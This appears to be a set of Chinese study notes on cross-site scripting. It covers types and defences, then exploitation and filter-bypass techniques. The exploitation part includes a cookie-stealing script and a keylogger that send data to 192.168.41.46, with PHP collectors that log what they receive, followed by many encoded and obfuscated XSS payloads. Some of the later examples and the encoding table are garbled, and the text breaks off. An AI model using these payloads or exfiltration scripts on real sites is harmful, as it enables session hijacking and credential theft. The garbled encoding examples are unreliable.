• XSS

    1. 概述

    (1). 定义

    • 跨站脚本攻击XSS,指通过某种方法将****恶意的Script代码注入到Web页面中,当用户浏览该页之时,嵌入其中Web里面的Script代码会被执行,从而达到恶意攻击用户的目的

    (2). 原理

    • XSS,是指攻击者通过在****Web页面中写入恶意脚本,造成用户在浏览页面时,获取控制用户浏览器进行操作的攻击方式
      XSS原理

    (3). 产生条件

    1. 可以控制的输入点
    2. **输入能返回到前端页面上,**被浏览器当做脚本语言解释执行

    (4). 危害及防御

    a. 危害
    1. 获取用户Cookie
    2. 键盘记录
    3. 客户端信息探查
    4. XSS组合其他漏洞getshell
    5. 劫持用户会话,执行任意操作
    b. 防御
    1. 过滤用户提交的有害信息
    2. 对用户****输入的信息进行合法性校验
    3. 使用****HTML实体编码代替字符

    2. 分类

    (1). 反射型

    a. 定义
    • 非持久性、参数型的跨站脚本
    b. 攻击方式
    • 需要****欺骗用户去点击恶意链接才能触发XSS代码,一般容易出现在搜索框
      反射型原理

    (2). 存储型

    a. 定义
    • 持久型,能够将恶意代码写进****数据库或文件,长久保存在数据介质中
    b. 攻击方式
    • 通过****数据写入点,将精心构造的XSS代码保存到数据库中,当其他用户再次访问时,就会触发并执行恶意的XSS代码
      存储型原理

    (3). DOM型

    a. 定义
    • 不经过后端,输出点在DOM,通过url传入参数去控制触发,属于反射型XSS
    b. 攻击方式
    1. 攻击者构造****特殊的URL,其中包含恶意代码,用户点击恶意链接
    2. 用户浏览器接收到响应后解析执行,****前端JS取出URL中的恶意代码并执行
    3. 恶意代码窃取到用户数据并发送到攻击者的网站,来进行进一步的操作

    (4). 区别

    a. 存储型与反射型
    • 存储型XSS的恶意代码在****数据库,而反射型XSS的恶意代码在URL里
    b. DOM型与其他
    • DOM型XSS攻击,取出和执行恶意代码****由浏览器完成,属于前端JavaScript自身的安全漏洞,另外两种属于服务端的安全漏洞

    3. 漏洞利用

    (1)获取管理权限

    • 通过获取****Cookie,从而获取管理员权限
    a. 实例
    #index.php页面,模拟真实用户的使用,但留有JS后门
    <?php
    if(isset($_POST['submit'])){
        setcookie("name","goodjob");
    }
    ?>
    <html>
    <script type="text/javascript" src="cookie.js"></script>  
    <meta charset="utf-8">
    <form action="#" method="post" id="form1">
        <input type="text" name="username" />
        <input type="password" name="password" />
        <input type="submit" name="submit" value="submit" />
    </form>
    </html>
    
    //cookie.js文件,执行恶意操作(获取到cookie并通过指定url传递出去)
    var img= document.createElement('img');
    img.width= 0;
    img.height= 0;
    img.src='http://192.168.41.46/xss/cookie/cookie.php?cookie=' 
    + encodeURIComponent(document.cookie);
    
    //cookie.php文件,接收cookie.js传递出的数据,并存储在txt文件中
    <?php
    $cookie = $_GET['cookie'];
    $log = fopen('cookie.txt','a');
    fwrite($log,$cookie.PHP_EOL);
    fclose($log);
    ?>
    

    (2)获取键盘记录

    • 利用****ajax发送HTTP请求
    a. 发送请求
    • **使用****open()和send()**方法
      AJAX方法
    ①GET请求
    xmlhttp.open("GET","url地址",true);
    xmlhttp.send();
    
    ②POST请求
    xmlhttp.open("POST","url地址",true);
    xmlhttp.setRequestHeader("Content-type","application/x-www-form-urlencoded");
    xmlhttp.send("fname=Henry&lname=Ford");
    
    b. 接受请求
    • 使用XMLHttpRequest对象的****ResponseTextResponseXML属性

    AJAX的http响应

    ①onreadystatechange
    • readystate有5个取值,分为6个阶段
      1. 取值对应| 取值 | 含义 |
        | -------------- | ---------------------------------- |
        | 0 | 请求未初始化 |
        | 1 | 服务器连接已建立 |
        | 2 | 请求已接收 |
        | 3 | 请求处理中 |
        | 4 | 请求已完成,且响应已就绪 |
      2. 阶段分类
        创建 -> 初始化请求 -> 发送请求 -> 接收数据 -> 解析数据 -> 完成
    c. 实例
    #index.html网页模拟用户真实体验
    <html>
        <head></head>
        <script type="text/javascript" src="log.js"></script>  
        <meta charset="utf-8">
        <body>
            <form action="#" method="post" id="form1">
                <label>输入用户名</label>
                <input type="text" name="username" />
                <br>
                <label>输入密码</label>
                <input type="text" name="password" />
                <br><br>
                <input type="submit" name="submit" value="submit" />
            </form>
        </body>
    </html>
    
    #log.js文件执行恶意操作(获取到用户数据并通过指定url传递出去)
    document.onkeypress=function(evt){
        evt=evt?evt:window.event;
        key=String.fromCharCode(evt.keyCode?evt.keyCode:evt.charCode);
        if(key){
            var http = new XMLHttpRequest();
            var param = encodeURI(key);
            http.open("POST","http://192.168.41.46/xss/keyboard/log.php",true);
            http.setRequestHeader("Content-type","application/x-www-form-urlencoded");
            http.send("key="+param);
        }
    }
    #log.php文件,log.js传递出的数据,并存储在txt文件中
    <?php
    $key=$_POST['key'];
    $logfile='result.txt';
    $fp=fopen($logfile,"a");
    fwrite($fp,$key);
    fclose($fp);
    ?>
    

    4. JS伪协议

    a. data://伪协议
    <!--1. 编码内容为 <script>alert(1)</script>  -->
    <object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="></object>
    
    <!--2. 编码内容为 <script>alert(1)</script> -->
    <iframe src="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="></iframe>
    
    <!--3. -->
    <iframe src="data:text/html,<script>alert(1)</script>"></iframe>
    
    <!--4. 将部分字符url编码-->
    <iframe src="data:text/html,%3Cscript%3Ealert(1)%3C%2Fscript%3E"></iframe>
    
    b. javascript伪协议
    <a href="javascript:alert('a')">1</a>
    <img src='#' onerror="javascript:alert('a')"></img>
    

    5. XSS构造

    (1).利用<>构造标签

    • 没有任何过滤机制时使用

    (2).伪协议

    • **使用****javascript:**等伪协议构造XSS
    • **支持的标签:**srchref、background等
      <a href="javascript:alert(/xss/)">touch me!</a>
      <img src="javascript:alert(/xss/)"></img>		//仅在IE6下成功
      

    (3).事件利用

    • 可以利用html中某些****动作时间,绑定恶意脚本

    • 常见事件类型

      window事件 对window对象触发的事件
      Form事件 HTML表单内的动作触发事件
      Keyboard事件 键盘按键
      Mouse事件 由鼠标或类似用户动作触发的事件
      Media事件 由多媒体触发的事件
      <img src='./smile.jpg' onmouseover='alert(/xss/)' />
      <input type="text" onkeydown="alert(/xss/)" />
      <input type="text" onkeyup="alert(/xss/)" />
      <input type="button" onclick="alert(/xss/)" />
      <img src='#' onerror='alert(/xss/)' />
      

    (4).利用CSS触发(已过时)

    (5)其他标签及事件

    • 随着前端语言的更新速度,会有****新的标签和事件出现
      <svg onload="alert(/xss/)" >	//svg是h5语言中的标签
      <input onfocus=alert(/xss/) autofocus >	//自动触发
      

    69. XSS变形

    (1)大小写转换

    • 将payload进行大小写转化
      <img sRc='#' OnError="alert(/xss/)">
      <a hREf='JaVaScriPt:alert(/xss/)'>click me</a>
      

    (2)引号的使用

    • HTML对引号不敏感,但过滤函数对引号严格
      <img src="#" onerror="alert(/xss/)" />
      <img src='#' onerror='alert(/xss/)' />
      <img src=# onerror=alert(/xss/) />
      

    (3)左斜线代替空格

    <img src="#"/onerror="alert(/xss/)" />
    

    (4)回车的使用

    • 添加****水平制表符回车符来绕过关键字检测
    
    	<a href="javascript:alert(/xss/)">clike me</a> =>
    <!--水平制表符-->
    	<a href="j	a	v	a	s	c	r	i	p	t	:	alert(/xss/)">clike me</a>
    <!--回车符-->
    <a href="j
             a
             v
             a
             s
             c
             r
             i
             p
             t
             :alert(/xss/)">clike me</a>
    	<a href="javascript:alert(/xss/)">clike me</a>
    
    • 一些函数不可以加回车(onmoveover、onerror等)

    (5)双写绕过

    • 针对只做了****一次过滤的情况
    • <script>alert(1)</script>	=>  <scr<script>ipt>alert(1)</scr</script>ipt>
      

    (6)CSS中的变形

    a.使用全角字符
        "><img src="#" onerror="alert(/xss/)" /><"
    b.注释会被浏览器忽略
        "><img src="#"  oner/*~*/ror="alert(/x~s~s/)" /><"
    c. 样式表中的[\]和[\0]
        "><style>@import 'javasc\ri\0pt:alert*(/xss/)';</style><"
    

    (7)对标签属性值进行转码

    • 对标签值使用****十进制十六进制表示
      1. 转码
          "><a href="javascript:alert(/xss/)">click me</a><" => 
          "><a href="javascript:alert(/xss/)">click me</a><"
          "><a href="javas	c
      r
      

ipt:alert(/xss/)">click me<"
2. 进阶变形
"><" =>
"><"
or
"><"


| **符号**            | **ASCII码** | **十进制** | **十六进制** |
| ------------------------- | ----------------- | ---------------- | ------------------ |
| **a**               | **97**      | `&#97;`        | `&#61;`          |
| **e**               | **101**     | `&#101;`       | `&#x65;`         |
| **Tab(水平制表符)** | **9**       | `&#9;`         |                    |
| **换行**            | **10**      | `&#10;`        |                    |
| **回车**            | **13**      | `&#13;`        |                    |
| **SOH**             | **1**       | `&#1;`         |                    |
| **STX**             | **2**       | `&#2;`         |                    |

#### (8)拆分跨站

* **当应用程序****没有过滤**关键字符,却对**输入字符长度有限制**时,可以使用**拆分法**

#### (9)HTML编码

##### a. 十进制

* **标识符:**`&# + Ascii码`

click me =>

<a href="javascript:alert(/xss/)">click me</a>
  <script>eval(String.fromCharCode(97,108,101,114,116,40,49,41))</script>
      or
  <img src=x onerror=eval(String.fromCharCode(97,108,101,114,116,40,49,41))>

##### b. 十六进制

* **标识符:**`&#x`

click me =>

<a href="javascript:alert(/xss/)">click me</a>
<img src=x onerror=eval("\x61\x6c\x65\x72\x74\x28\x31\x29")>
	or
<script>eval("\x61\x6c\x65\x72\x74\x28\x31\x29")</script>

##### c. 其他编码

###### ①Unicode编码

```

(1)jsfuck混淆